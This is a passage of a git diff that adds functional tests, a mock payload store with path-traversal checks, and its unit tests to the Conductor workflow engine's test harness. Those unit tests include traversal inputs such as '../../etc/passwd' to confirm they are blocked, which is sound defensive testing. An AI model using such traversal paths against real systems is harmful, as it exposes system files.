    Unlike the existing integration tests which use in-memory persistence, these tests exercise + * the full stack with real infrastructure — matching what the e2e module tests against a Docker + * Compose cluster. + */ +@RunWith(SpringRunner.class) +@SpringBootTest(webEnvironment = WebEnvironment.RANDOM_PORT, classes = ConductorTestApp.class) +@TestPropertySource(locations = "classpath:application-functionaltest.properties") +public abstract class FunctionalTestBase { + + private static final Logger log = LoggerFactory.getLogger(FunctionalTestBase.class); + + protected static final String OWNER_EMAIL = "test@conductor.io"; + + // Singleton containers — started once, reused across all functional test classes in the JVM. + // TestContainers Ryuk cleans up on JVM exit. + private static final ElasticsearchContainer esContainer = + new ElasticsearchContainer(DockerImageName.parse("elasticsearch").withTag("7.17.11")) + .withExposedPorts(9200, 9300) + .withEnv("xpack.security.enabled", "false") + .withEnv("discovery.type", "single-node"); + + @SuppressWarnings("resource") + private static final GenericContainer redisContainer = + new GenericContainer<>(DockerImageName.parse("redis:6.2-alpine")) + .withExposedPorts(6379); + + static { + esContainer.start(); + redisContainer.start(); + log.info( + "Functional test containers started — ES: {}, Redis port: {}", + esContainer.getHttpHostAddress(), + redisContainer.getFirstMappedPort()); + } + + @DynamicPropertySource + static void containerProperties(DynamicPropertyRegistry registry) { + registry.add( + "conductor.elasticsearch.url", () -> "http://" + esContainer.getHttpHostAddress()); + registry.add( + "conductor.redis.hosts", + () -> "localhost:" + redisContainer.getFirstMappedPort() + ":us-east-1c"); + registry.add( + "conductor.redis-lock.serverAddress", + () -> String.format("redis://localhost:%s", redisContainer.getFirstMappedPort())); + } + + @LocalServerPort protected int port; + + protected TaskClient taskClient; + protected WorkflowClient workflowClient; + protected MetadataClient metadataClient; + protected EventClient eventClient; + + @Before + public void initClients() { + String apiRoot = String.format("http://localhost:%d/api/", port); + + taskClient = new TaskClient(); + taskClient.setRootURI(apiRoot); + + workflowClient = new WorkflowClient(); + workflowClient.setRootURI(apiRoot); + + metadataClient = new MetadataClient(); + metadataClient.setRootURI(apiRoot); + + eventClient = new EventClient(); + eventClient.setRootURI(apiRoot); + } + + // ---- Helper methods shared across functional tests ---- + + protected TaskDef createTaskDef(String name) { + TaskDef taskDef = new TaskDef(name, name + " description", OWNER_EMAIL, 3, 60, 60); + taskDef.setTimeoutPolicy(TaskDef.TimeoutPolicy.RETRY); + return taskDef; + } + + protected WorkflowTask createSimpleWorkflowTask(String taskName, String refName) { + WorkflowTask task = new WorkflowTask(); + task.setName(taskName); + task.setTaskReferenceName(refName); + task.setWorkflowTaskType(TaskType.SIMPLE); + return task; + } + + protected void pollAndCompleteTask(String taskType, Map output) { + List tasks = + taskClient.batchPollTasksByTaskType(taskType, "functional_test_worker", 1, 5000); + assertFalse("Expected task " + taskType + " to be available for polling", tasks.isEmpty()); + Task task = tasks.get(0); + task.setStatus(Task.Status.COMPLETED); + if (output != null && !output.isEmpty()) { + task.getOutputData().putAll(output); + } + taskClient.updateTask(new TaskResult(task)); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/integration/http/functional/WorkflowFunctionalTest.java b/test-harness/src/test/java/com/netflix/conductor/test/integration/http/functional/WorkflowFunctionalTest.java new file mode 100644 index 0000000..f747862 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/integration/http/functional/WorkflowFunctionalTest.java @@ -0,0 +1,352 @@ +/* + * Copyright 2024 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.integration.http.functional; + +import java.util.Arrays; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.junit.Test; + +import com.netflix.conductor.common.metadata.tasks.Task; +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.tasks.TaskType; +import com.netflix.conductor.common.metadata.workflow.StartWorkflowRequest; +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.Workflow; +import com.netflix.conductor.common.run.Workflow.WorkflowStatus; + +import static org.awaitility.Awaitility.await; +import static org.junit.Assert.*; + +/** + * Functional tests that exercise the full Conductor stack with real Redis and Elasticsearch. + * + *

    These mirror the e2e module tests but run inside the test-harness with embedded Spring Boot + * and TestContainers, eliminating the need for Docker Compose. + */ +public class WorkflowFunctionalTest extends FunctionalTestBase { + + @Test + public void testSimpleWorkflowExecution() { + // Register task definitions + List taskDefs = + Arrays.asList(createTaskDef("func_simple_t1"), createTaskDef("func_simple_t2")); + metadataClient.registerTaskDefs(taskDefs); + + // Create and register workflow: t1 -> t2 + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("func_test_simple_workflow"); + workflowDef.setVersion(1); + workflowDef.setOwnerEmail(OWNER_EMAIL); + workflowDef.setTimeoutSeconds(120); + workflowDef.getTasks().add(createSimpleWorkflowTask("func_simple_t1", "t1_ref")); + workflowDef.getTasks().add(createSimpleWorkflowTask("func_simple_t2", "t2_ref")); + metadataClient.registerWorkflowDef(workflowDef); + + // Start workflow + StartWorkflowRequest request = + new StartWorkflowRequest().withName("func_test_simple_workflow"); + String workflowId = workflowClient.startWorkflow(request); + assertNotNull(workflowId); + + // Verify workflow is running with first task scheduled + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(1, workflow.getTasks().size()); + assertEquals(Task.Status.SCHEDULED, workflow.getTasks().get(0).getStatus()); + + // Poll and complete task 1 + pollAndCompleteTask("func_simple_t1", Map.of("output1", "value1")); + + // Wait for task 2 to be scheduled + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(2, wf.getTasks().size()); + assertEquals(Task.Status.COMPLETED, wf.getTasks().get(0).getStatus()); + assertEquals(Task.Status.SCHEDULED, wf.getTasks().get(1).getStatus()); + }); + + // Poll and complete task 2 + pollAndCompleteTask("func_simple_t2", Map.of("output2", "value2")); + + // Verify workflow completed + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(WorkflowStatus.COMPLETED, wf.getStatus()); + assertEquals(2, wf.getTasks().size()); + }); + } + + @Test + public void testSetVariableTask() { + // Register the simple task that follows SET_VARIABLE + metadataClient.registerTaskDefs(Arrays.asList(createTaskDef("func_setvar_task"))); + + // Create workflow: SET_VARIABLE -> SIMPLE + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("func_test_set_variable"); + workflowDef.setVersion(1); + workflowDef.setOwnerEmail(OWNER_EMAIL); + workflowDef.setTimeoutSeconds(120); + + WorkflowTask setVarTask = new WorkflowTask(); + setVarTask.setName("set_var_ref"); + setVarTask.setTaskReferenceName("set_var_ref"); + setVarTask.setWorkflowTaskType(TaskType.SET_VARIABLE); + Map setVarInput = new HashMap<>(); + setVarInput.put("myVar", "hello_functional_test"); + setVarTask.setInputParameters(setVarInput); + + workflowDef.getTasks().add(setVarTask); + workflowDef.getTasks().add(createSimpleWorkflowTask("func_setvar_task", "simple_ref")); + metadataClient.registerWorkflowDef(workflowDef); + + // Start workflow + String workflowId = + workflowClient.startWorkflow( + new StartWorkflowRequest().withName("func_test_set_variable")); + assertNotNull(workflowId); + + // SET_VARIABLE executes synchronously during decide(), + // so the simple task should become scheduled immediately + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(WorkflowStatus.RUNNING, wf.getStatus()); + assertTrue(wf.getTasks().size() >= 2); + assertEquals(Task.Status.COMPLETED, wf.getTasks().get(0).getStatus()); + }); + + // Verify the variable was set on the workflow + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals("hello_functional_test", workflow.getVariables().get("myVar")); + + // Complete the simple task + pollAndCompleteTask("func_setvar_task", Map.of()); + + // Verify workflow completed + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(WorkflowStatus.COMPLETED, wf.getStatus()); + }); + } + + @Test + public void testSubWorkflowExecution() { + // Register task for the child workflow + metadataClient.registerTaskDefs(Arrays.asList(createTaskDef("func_child_task"))); + + // Create and register child workflow + WorkflowDef childDef = new WorkflowDef(); + childDef.setName("func_test_child_workflow"); + childDef.setVersion(1); + childDef.setOwnerEmail(OWNER_EMAIL); + childDef.setTimeoutSeconds(120); + childDef.getTasks().add(createSimpleWorkflowTask("func_child_task", "child_task_ref")); + metadataClient.registerWorkflowDef(childDef); + + // Create parent workflow with SUB_WORKFLOW task + WorkflowDef parentDef = new WorkflowDef(); + parentDef.setName("func_test_parent_workflow"); + parentDef.setVersion(1); + parentDef.setOwnerEmail(OWNER_EMAIL); + parentDef.setTimeoutSeconds(120); + + WorkflowTask subWorkflowTask = new WorkflowTask(); + subWorkflowTask.setName("sub_workflow_ref"); + subWorkflowTask.setTaskReferenceName("sub_workflow_ref"); + subWorkflowTask.setWorkflowTaskType(TaskType.SUB_WORKFLOW); + SubWorkflowParams subParams = new SubWorkflowParams(); + subParams.setName("func_test_child_workflow"); + subParams.setVersion(1); + subWorkflowTask.setSubWorkflowParam(subParams); + + parentDef.getTasks().add(subWorkflowTask); + metadataClient.registerWorkflowDef(parentDef); + + // Start parent workflow + String parentId = + workflowClient.startWorkflow( + new StartWorkflowRequest().withName("func_test_parent_workflow")); + assertNotNull(parentId); + + // Wait for the sub-workflow to be created (async system task worker handles this) + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow parent = workflowClient.getWorkflow(parentId, true); + assertEquals(WorkflowStatus.RUNNING, parent.getStatus()); + assertFalse(parent.getTasks().isEmpty()); + assertNotNull( + "Sub-workflow ID should be set", + parent.getTasks().get(0).getSubWorkflowId()); + }); + + // Get child workflow ID + Workflow parent = workflowClient.getWorkflow(parentId, true); + String childId = parent.getTasks().get(0).getSubWorkflowId(); + + // Verify child is running + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow child = workflowClient.getWorkflow(childId, true); + assertEquals(WorkflowStatus.RUNNING, child.getStatus()); + assertFalse(child.getTasks().isEmpty()); + }); + + // Poll and complete the child's task + pollAndCompleteTask("func_child_task", Map.of("childOutput", "done")); + + // Verify child workflow completed + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow child = workflowClient.getWorkflow(childId, true); + assertEquals(WorkflowStatus.COMPLETED, child.getStatus()); + }); + + // Verify parent workflow completed (system task worker detects child completion) + await().atMost(30, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow p = workflowClient.getWorkflow(parentId, true); + assertEquals(WorkflowStatus.COMPLETED, p.getStatus()); + }); + } + + @Test + public void testSwitchTask() { + // Register tasks for the two branches + metadataClient.registerTaskDefs( + Arrays.asList( + createTaskDef("func_switch_task_a"), createTaskDef("func_switch_task_b"))); + + // Create workflow with SWITCH -> branch A or B + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("func_test_switch_workflow"); + workflowDef.setVersion(1); + workflowDef.setOwnerEmail(OWNER_EMAIL); + workflowDef.setTimeoutSeconds(120); + + WorkflowTask switchTask = new WorkflowTask(); + switchTask.setName("switch_ref"); + switchTask.setTaskReferenceName("switch_ref"); + switchTask.setWorkflowTaskType(TaskType.SWITCH); + switchTask.setEvaluatorType("value-param"); + switchTask.setExpression("switchCaseValue"); + Map switchInput = new HashMap<>(); + switchInput.put("switchCaseValue", "${workflow.input.case}"); + switchTask.setInputParameters(switchInput); + + WorkflowTask taskA = createSimpleWorkflowTask("func_switch_task_a", "task_a_ref"); + WorkflowTask taskB = createSimpleWorkflowTask("func_switch_task_b", "task_b_ref"); + + Map> decisionCases = new HashMap<>(); + decisionCases.put("A", Arrays.asList(taskA)); + decisionCases.put("B", Arrays.asList(taskB)); + switchTask.setDecisionCases(decisionCases); + + workflowDef.getTasks().add(switchTask); + metadataClient.registerWorkflowDef(workflowDef); + + // Start workflow with case=A + Map input = new HashMap<>(); + input.put("case", "A"); + String workflowId = + workflowClient.startWorkflow( + new StartWorkflowRequest() + .withName("func_test_switch_workflow") + .withInput(input)); + assertNotNull(workflowId); + + // Verify SWITCH routed to branch A + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertTrue(wf.getTasks().size() >= 2); + assertEquals("task_a_ref", wf.getTasks().get(1).getReferenceTaskName()); + }); + + // Complete task A + pollAndCompleteTask("func_switch_task_a", Map.of()); + + // Verify workflow completed + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(WorkflowStatus.COMPLETED, wf.getStatus()); + }); + } + + @Test + public void testWorkflowTerminateAndRestart() { + // Register task definitions + metadataClient.registerTaskDefs(Arrays.asList(createTaskDef("func_restart_t1"))); + + // Create workflow + WorkflowDef workflowDef = new WorkflowDef(); + workflowDef.setName("func_test_restart_workflow"); + workflowDef.setVersion(1); + workflowDef.setOwnerEmail(OWNER_EMAIL); + workflowDef.setTimeoutSeconds(120); + workflowDef.getTasks().add(createSimpleWorkflowTask("func_restart_t1", "t1_ref")); + metadataClient.registerWorkflowDef(workflowDef); + + // Start workflow + String workflowId = + workflowClient.startWorkflow( + new StartWorkflowRequest().withName("func_test_restart_workflow")); + assertNotNull(workflowId); + + // Verify running + Workflow workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(WorkflowStatus.RUNNING, workflow.getStatus()); + + // Terminate + workflowClient.terminateWorkflow(workflowId, "functional test termination"); + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(WorkflowStatus.TERMINATED, workflow.getStatus()); + + // Restart + workflowClient.restart(workflowId, false); + workflow = workflowClient.getWorkflow(workflowId, true); + assertEquals(WorkflowStatus.RUNNING, workflow.getStatus()); + assertEquals(1, workflow.getTasks().size()); + + // Complete the task after restart + pollAndCompleteTask("func_restart_t1", Map.of()); + + // Verify completed + await().atMost(10, TimeUnit.SECONDS) + .untilAsserted( + () -> { + Workflow wf = workflowClient.getWorkflow(workflowId, true); + assertEquals(WorkflowStatus.COMPLETED, wf.getStatus()); + }); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/utils/MockExternalPayloadStorage.java b/test-harness/src/test/java/com/netflix/conductor/test/utils/MockExternalPayloadStorage.java new file mode 100644 index 0000000..80a2624 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/utils/MockExternalPayloadStorage.java @@ -0,0 +1,224 @@ +/* + * Copyright 2021 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.utils; + +import java.io.*; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.UUID; + +import org.apache.commons.io.IOUtils; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.common.metadata.workflow.SubWorkflowParams; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.common.run.ExternalStorageLocation; +import com.netflix.conductor.common.utils.ExternalPayloadStorage; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SIMPLE; +import static com.netflix.conductor.common.metadata.tasks.TaskType.TASK_TYPE_SUB_WORKFLOW; + +/** A {@link ExternalPayloadStorage} implementation that stores payload in file. */ +@ConditionalOnProperty(name = "conductor.external-payload-storage.type", havingValue = "mock") +@Component +public class MockExternalPayloadStorage implements ExternalPayloadStorage { + + private static final Logger LOGGER = LoggerFactory.getLogger(MockExternalPayloadStorage.class); + + private final ObjectMapper objectMapper; + private final File payloadDir; + + public MockExternalPayloadStorage(ObjectMapper objectMapper) throws IOException { + this.objectMapper = objectMapper; + this.payloadDir = Files.createTempDirectory("payloads").toFile(); + LOGGER.info( + "{} initialized in directory: {}", + this.getClass().getSimpleName(), + payloadDir.getAbsolutePath()); + } + + @Override + public ExternalStorageLocation getLocation( + Operation operation, PayloadType payloadType, String path) { + ExternalStorageLocation location = new ExternalStorageLocation(); + location.setPath(UUID.randomUUID() + ".json"); + return location; + } + + /** + * Validates and resolves a file path to prevent directory traversal attacks. + * + * @param path the user-provided path + * @return a validated File object + * @throws SecurityException if the path attempts directory traversal + */ + private File validateAndResolvePath(String path) throws IOException { + // Normalize the path to remove any ".." or "." components + Path normalized = Paths.get(path).normalize(); + + // Check if the normalized path contains ".." which would indicate traversal attempt + if (normalized.toString().contains("..")) { + throw new SecurityException("Path traversal not allowed: " + path); + } + + // Create the file object + File file = new File(payloadDir, normalized.toString()); + + // Verify the canonical path is still within payloadDir + String canonicalPath = file.getCanonicalPath(); + String canonicalBaseDir = payloadDir.getCanonicalPath(); + + if (!canonicalPath.startsWith(canonicalBaseDir + File.separator) + && !canonicalPath.equals(canonicalBaseDir)) { + throw new SecurityException("Access denied - path outside allowed directory: " + path); + } + + return file; + } + + @Override + public void upload(String path, InputStream payload, long payloadSize) { + try { + File file = validateAndResolvePath(path); + String filePath = file.getAbsolutePath(); + try { + if (!file.exists()) { + file.getParentFile().mkdirs(); + file.createNewFile(); + LOGGER.debug("Created file: {}", filePath); + } + IOUtils.copy(payload, new FileOutputStream(file)); + LOGGER.debug("Written to {}", filePath); + } catch (IOException e) { + // just handle this exception here and return empty map so that test will fail in + // case this exception is thrown + LOGGER.error("Error writing to {}", filePath); + } finally { + try { + if (payload != null) { + payload.close(); + } + } catch (IOException e) { + LOGGER.warn("Unable to close input stream when writing to file"); + } + } + } catch (SecurityException | IOException e) { + LOGGER.error("Security validation failed for path: {}", path, e); + } + } + + @Override + public InputStream download(String path) { + try { + File file = validateAndResolvePath(path); + LOGGER.debug("Reading from {}", path); + return new FileInputStream(file); + } catch (SecurityException | IOException e) { + LOGGER.error("Error reading {}", path, e); + return null; + } + } + + public void upload(String path, Map payload) { + try { + InputStream bais = new ByteArrayInputStream(objectMapper.writeValueAsBytes(payload)); + upload(path, bais, 0); + } catch (IOException e) { + LOGGER.error("Error serializing map to json", e); + } + } + + public InputStream readOutputDotJson() { + return MockExternalPayloadStorage.class.getResourceAsStream("/output.json"); + } + + @SuppressWarnings("unchecked") + public Map curateDynamicForkLargePayload() { + Map dynamicForkLargePayload = new HashMap<>(); + try { + InputStream inputStream = readOutputDotJson(); + Map largePayload = objectMapper.readValue(inputStream, Map.class); + + WorkflowTask simpleWorkflowTask = new WorkflowTask(); + simpleWorkflowTask.setName("integration_task_10"); + simpleWorkflowTask.setTaskReferenceName("t10"); + simpleWorkflowTask.setType(TASK_TYPE_SIMPLE); + simpleWorkflowTask.setInputParameters( + Collections.singletonMap("p1", "${workflow.input.imageType}")); + + WorkflowDef subWorkflowDef = new WorkflowDef(); + subWorkflowDef.setName("one_task_workflow"); + subWorkflowDef.setVersion(1); + subWorkflowDef.setTasks(Collections.singletonList(simpleWorkflowTask)); + + SubWorkflowParams subWorkflowParams = new SubWorkflowParams(); + subWorkflowParams.setName("one_task_workflow"); + subWorkflowParams.setVersion(1); + subWorkflowParams.setWorkflowDef(subWorkflowDef); + + WorkflowTask subWorkflowTask = new WorkflowTask(); + subWorkflowTask.setName("large_payload_subworkflow"); + subWorkflowTask.setType(TASK_TYPE_SUB_WORKFLOW); + subWorkflowTask.setTaskReferenceName("large_payload_subworkflow"); + subWorkflowTask.setInputParameters(largePayload); + subWorkflowTask.setSubWorkflowParam(subWorkflowParams); + + dynamicForkLargePayload.put("dynamicTasks", List.of(subWorkflowTask)); + dynamicForkLargePayload.put( + "dynamicTasksInput", Map.of("large_payload_subworkflow", largePayload)); + } catch (IOException e) { + // just handle this exception here and return empty map so that test will fail in case + // this exception is thrown + } + return dynamicForkLargePayload; + } + + public Map downloadPayload(String path) { + InputStream inputStream = download(path); + if (inputStream != null) { + try { + Map largePayload = objectMapper.readValue(inputStream, Map.class); + return largePayload; + } catch (IOException e) { + LOGGER.error("Error in downloading payload for path {}", path, e); + } + } + return new HashMap<>(); + } + + public Map createLargePayload(int repeat) { + Map largePayload = new HashMap<>(); + try { + InputStream inputStream = readOutputDotJson(); + Map payload = objectMapper.readValue(inputStream, Map.class); + for (int i = 0; i < repeat; i++) { + largePayload.put(String.valueOf(i), payload); + } + } catch (IOException e) { + // just handle this exception here and return empty map so that test will fail in case + // this exception is thrown + } + return largePayload; + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/utils/MockExternalPayloadStorageTest.java b/test-harness/src/test/java/com/netflix/conductor/test/utils/MockExternalPayloadStorageTest.java new file mode 100644 index 0000000..8e87dcf --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/utils/MockExternalPayloadStorageTest.java @@ -0,0 +1,107 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.utils; + +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; + +import org.junit.Before; +import org.junit.Test; + +import com.fasterxml.jackson.databind.ObjectMapper; + +import static org.junit.Assert.assertNotNull; +import static org.junit.Assert.assertNull; + +public class MockExternalPayloadStorageTest { + + private MockExternalPayloadStorage storage; + + @Before + public void setup() throws IOException { + storage = new MockExternalPayloadStorage(new ObjectMapper()); + } + + @Test + public void testNormalUploadAndDownload() { + // Test normal file upload and download + String validPath = "test-file.json"; + String content = "test content"; + InputStream inputStream = + new ByteArrayInputStream(content.getBytes(StandardCharsets.UTF_8)); + + storage.upload(validPath, inputStream, content.length()); + + InputStream downloaded = storage.download(validPath); + assertNotNull("Should be able to download a valid file", downloaded); + } + + @Test + public void testPathTraversalAttackWithDoubleDots() { + // Test that path traversal with "../" is blocked + String maliciousPath = "../../etc/passwd"; + String content = "malicious content"; + InputStream inputStream = + new ByteArrayInputStream(content.getBytes(StandardCharsets.UTF_8)); + + // Upload should not throw exception but should fail silently (logged) + storage.upload(maliciousPath, inputStream, content.length()); + + // Download should return null for path traversal attempts + InputStream downloaded = storage.download(maliciousPath); + assertNull("Path traversal attack should be blocked", downloaded); + } + + @Test + public void testPathTraversalAttackWithEncodedDots() { + // Test various path traversal patterns + String[] maliciousPaths = { + "../../../etc/passwd", "foo/../../bar/../../../etc/passwd", "./../../sensitive-file.txt" + }; + + for (String maliciousPath : maliciousPaths) { + InputStream downloaded = storage.download(maliciousPath); + assertNull("Path traversal attack should be blocked for: " + maliciousPath, downloaded); + } + } + + @Test + public void testValidNestedPath() { + // Test that valid nested paths still work + String validPath = "subdir/nested/file.json"; + String content = "test content"; + InputStream inputStream = + new ByteArrayInputStream(content.getBytes(StandardCharsets.UTF_8)); + + storage.upload(validPath, inputStream, content.length()); + + InputStream downloaded = storage.download(validPath); + assertNotNull("Valid nested path should work", downloaded); + } + + @Test + public void testPathWithDotInFilename() { + // Test that files with dots in the name (not path traversal) work fine + String validPath = "my.test.file.json"; + String content = "test content"; + InputStream inputStream = + new ByteArrayInputStream(content.getBytes(StandardCharsets.UTF_8)); + + storage.upload(validPath, inputStream, content.length()); + + InputStream downloaded = storage.download(validPath); + assertNotNull("Files with dots in filename should work", downloaded); + } +} diff --git a/test-harness/src/test/java/com/netflix/conductor/test/utils/UserTask.java b/test-harness/src/test/java/com/netflix/conductor/test/utils/UserTask.java new file mode 100644 index 0000000..2c36939 --- /dev/null +++ b/test-harness/src/test/java/com/netflix/conductor/test/utils/UserTask.java @@ -0,0 +1,76 @@ +/* + * Copyright 2022 Conductor Authors. + *

    + * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

    + * http://www.apache.org/licenses/LICENSE-2.0 + *

    + * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.test.utils; + +import java.util.Collections; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.concurrent.TimeUnit; + +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; +import org.springframework.stereotype.Component; + +import com.netflix.conductor.core.execution.WorkflowExecutor; +import com.netflix.conductor.core.execution.tasks.WorkflowSystemTask; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import com.google.common.util.concurrent.Uninterruptibles; + +@Component(UserTask.NAME) +public class UserTask extends WorkflowSystemTask { + + private static final Logger LOGGER = LoggerFactory.getLogger(UserTask.class); + + public static final String NAME = "USER_TASK"; + + private final ObjectMapper objectMapper; + + private static final TypeReference>>> + mapStringListObjects = new TypeReference<>() {}; + + public UserTask(ObjectMapper objectMapper) { + super(NAME); + this.objectMapper = objectMapper; + LOGGER.info("Initialized system task - {}", getClass().getCanonicalName()); + } + + @Override + public void start(WorkflowModel workflow, TaskModel task, WorkflowExecutor executor) { + Uninterruptibles.sleepUninterruptibly(1, TimeUnit.SECONDS); + + if (task.getWorkflowTask().isAsyncComplete()) { + task.setStatus(TaskModel.Status.IN_PROGRESS); + } else { + Map>> map = + objectMapper.convertValue(task.getInputData(), mapStringListObjects); + Map output = new HashMap<>(); + Map> defaultLargeInput = new HashMap<>(); + defaultLargeInput.put("TEST_SAMPLE", Collections.singletonList("testDefault")); + output.put( + "size", + map.getOrDefault("largeInput", defaultLargeInput).get("TEST_SAMPLE").size()); + task.setOutputData(output); + task.setStatus(TaskModel.Status.COMPLETED); + } + } + + @Override + public boolean isAsync() { + return true; + } +} diff --git a/test-harness/src/test/resources/application-functionaltest.properties b/test-harness/src/test/resources/application-functionaltest.properties new file mode 100644 index 0000000..f257207 --- /dev/null +++ b/test-harness/src/test/resources/application-functionaltest.properties @@ -0,0 +1,52 @@ +# +# Functional test configuration +# Uses real Redis for persistence and queues, Elasticsearch for indexing. +# System task workers enabled so async system tasks (SUB_WORKFLOW, HTTP, etc.) execute. +# + +conductor.db.type=redis_standalone +conductor.queue.type=redis_standalone + +conductor.indexing.enabled=true +conductor.indexing.type=elasticsearch +conductor.elasticsearch.version=7 +conductor.indexing.index-prefix=conductor +conductor.indexing.cluster-health-color=yellow + +conductor.system-task-workers.enabled=true + +conductor.app.ownerEmailMandatory=true +conductor.app.stack=test +conductor.app.appId=conductor + +conductor.workflow-execution-lock.type=local_only +conductor.app.workflow-execution-lock-enabled=false +conductor.external-payload-storage.type=mock + +conductor.app.event-message-indexing-enabled=true +conductor.app.event-execution-indexing-enabled=true +conductor.app.workflow.name-validation.enabled=true + +conductor.app.workflow-offset-timeout=10s + +# Redis namespace prefixes (isolate from other test suites) +conductor.redis.availability-zone=us-east-1c +conductor.redis.data-center-region=us-east-1 +conductor.redis.workflow-namespace-prefix=functional-test +conductor.redis.queue-namespace-prefix=functest + +# Payload thresholds +conductor.app.workflow-input-payload-size-threshold=10KB +conductor.app.max-workflow-input-payload-size-threshold=10240KB +conductor.app.workflow-output-payload-size-threshold=10KB +conductor.app.max-workflow-output-payload-size-threshold=10240KB +conductor.app.task-input-payload-size-threshold=10KB +conductor.app.max-task-input-payload-size-threshold=10240KB +conductor.app.task-output-payload-size-threshold=10KB +conductor.app.max-task-output-payload-size-threshold=10240KB +conductor.app.max-workflow-variables-payload-size-threshold=2KB + +# Scheduler disabled for functional tests (no SchedulerDAO beans on this classpath) +conductor.scheduler.enabled=false + +management.metrics.export.datadog.enabled=false diff --git a/test-harness/src/test/resources/application-integrationtest.properties b/test-harness/src/test/resources/application-integrationtest.properties new file mode 100644 index 0000000..71b790e --- /dev/null +++ b/test-harness/src/test/resources/application-integrationtest.properties @@ -0,0 +1,61 @@ +# +# /* +# * Copyright 2023 Conductor authors +# *

    +# * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with +# * the License. You may obtain a copy of the License at +# *

    +# * http://www.apache.org/licenses/LICENSE-2.0 +# *

